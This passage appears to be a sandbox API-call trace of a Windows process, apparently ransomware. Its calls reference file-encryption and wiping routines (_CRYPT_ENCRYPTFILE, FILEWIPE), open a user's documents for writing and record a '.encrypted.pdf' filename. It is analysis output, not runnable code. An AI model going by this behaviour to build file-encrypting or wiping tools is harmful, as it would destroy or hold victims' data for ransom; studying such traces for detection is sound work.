hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0024.504] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0024.504] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.504] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0024.504] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0024.504] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0024.504] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0024.504] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0024.504] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.504] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0024.504] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.504] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0024.504] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.504] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.504] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.504] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.504] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0024.504] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.504] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.505] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0024.505] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0024.505] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0024.505] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.505] CryptReleaseContext (hProv=0xe8f40633e0, dwFlags=0x0) returned 1 [0024.505] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.505] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.505] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0024.505] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.506] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.506] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.506] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.507] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.507] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.507] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0024.507] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.507] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.507] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.507] CharLowerBuffW (in: lpsz="byte[4632]", cchLength=0xa | out: lpsz="byte[4632]") returned 0xa [0024.507] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.507] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0024.507] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.507] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0024.507] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.507] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.508] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.508] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0024.508] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.508] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.508] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.508] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.508] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.508] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.508] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.508] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.508] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.508] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.508] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.508] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.508] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.508] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.508] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.508] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.508] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0024.511] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.511] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.511] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.511] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0024.511] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.511] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.511] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.511] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.511] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.511] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.511] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0024.511] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.511] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.511] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.511] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.511] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.512] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.512] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.512] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0024.512] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0024.512] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0024.512] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0024.512] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0024.512] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0024.513] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0024.514] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=3671) returned 1 [0024.514] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0024.514] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0024.514] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0024.514] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dff0a0*=0xe57, lpOverlapped=0x0) returned 1 [0024.514] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0024.514] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xe57, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0024.514] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=3671) returned 1 [0024.514] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\gMgUlv1jFWYOWc.encrypted.pdf\r\n", cchWideChar=67, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 67 [0024.514] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\gMgUlv1jFWYOWc.encrypted.pdf\r\n", cchWideChar=67, lpMultiByteStr=0xe8f4051950, cbMultiByte=67, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\gMgUlv1jFWYOWc.encrypted.pdf\r\n", lpUsedDefaultChar=0x0) returned 67 [0024.514] WriteFile (in: hFile=0x1fc, lpBuffer=0xe8f4069710*, nNumberOfBytesToWrite=0x42, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f4069710*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x42, lpOverlapped=0x0) returned 1 [0024.514] CloseHandle (hObject=0x1fc) returned 1 [0024.516] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.516] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.517] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0024.517] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0024.517] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0024.517] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0024.517] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0024.518] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0024.518] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0024.518] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0024.518] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f4178840, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0024.518] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0024.518] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0024.518] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f4178840, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0024.519] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0024.520] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\iXosKeRIaoImk.ods", cchWideChar=54, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 54 [0024.520] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\iXosKeRIaoImk.ods", cchWideChar=54, lpMultiByteStr=0xe8f404ba10, cbMultiByte=54, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\iXosKeRIaoImk.ods", lpUsedDefaultChar=0x0) returned 54 [0024.520] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\iXosKeRIaoImk.ods" (normalized: "c:\\users\\5jghkoaofdp\\documents\\fw u\\ixoskeriaoimk.ods"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0024.520] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f41a09b0, cbMultiByte=54, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 54 [0024.520] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f41a09b0, cbMultiByte=54, lpWideCharStr=0xe8f4065af0, cchWideChar=54 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\iXosKeRIaoImk.ods") returned 54 [0024.540] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0024.541] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0024.541] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0024.541] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0024.541] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0024.541] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0024.541] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f41788c0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0024.542] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0024.542] CloseHandle (hObject=0x1fc) returned 1 [0024.542] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0024.542] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0024.542] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0024.542] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0024.542] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.542] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0024.542] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0024.542] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.542] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.542] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.542] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.542] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.542] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.543] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0024.543] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0024.543] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: 